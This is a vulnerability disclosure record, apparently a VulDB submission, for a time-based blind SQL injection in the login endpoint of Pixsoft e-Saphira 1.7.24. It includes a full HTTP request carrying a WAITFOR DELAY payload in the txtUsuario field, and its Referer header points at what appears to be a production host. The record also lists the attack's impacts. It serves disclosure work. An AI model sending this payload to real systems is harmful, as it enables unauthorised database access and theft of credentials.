| Title | Pix Software E-Saphira 1.7.24 Blind Time Based SQL Injection |
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| Description | Time-Based Blind SQL Injection in e-Saphira 1.7.24
Vendor: Pixsoft
Product: e-Saphira
Version Affected: 1.7.24
Vulnerability Type: Time-Based Blind SQL Injection
Description:
A Time-Based Blind SQL Injection vulnerability has been discovered in e-Saphira 1.7.24, a software solution developed by Pixsoft. The issue resides in the login endpoint:
/servlet?act=login&tipo=1
The parameter txtUsuario is vulnerable to SQL Injection, allowing an attacker to manipulate database queries. By injecting a time delay, it was confirmed that the database is processing unauthorized SQL commands.
Proof of Concept (PoC):
POST /servlet?act=login&tipo=1 HTTP/1.1
Host: X.X.X.X
Cookie: JSESSIONID=D43363065700615B947A5D9C7BD48AA2
Content-Length: 51
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: pt-BR,pt;q=0.9
Origin: X.X.X.X
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://saphira-prod.granado.com.br/servlet?act=login&tipo=1
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
txtUsuario='+WAITFOR+DELAY+'0:0:5'--&txtSenha=test
the server’s response time increases by approximately 5 seconds, indicating that the injected SQL command was executed successfully. This confirms that the application is vulnerable to time-based blind SQL injection.
Impact:
An attacker exploiting this vulnerability can:
Extract sensitive database information, such as user credentials.
Bypass authentication mechanisms.
Modify or delete data within the database.
Chain the attack with other vulnerabilities for further exploitation.
Since this is a blind SQL Injection, attackers can iteratively extract data by analyzing response times.
By: Yago Martins |
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| Source | ⚠️ https://github.com/yago3008/cves |
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| User | y4g0 (UID 80480) |
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| Submission | 02/18/2025 08:40 PM (3 months ago) |
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| Moderation | 03/01/2025 08:50 AM (11 days later) |
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| Status | Accepted |
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| VulDB Entry | 298066 [Pixsoft E-Saphira 1.7.24 Login Endpoint servlet?act=login&tipo=1 txtUsuario sql injection] |
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| Points | 20 |
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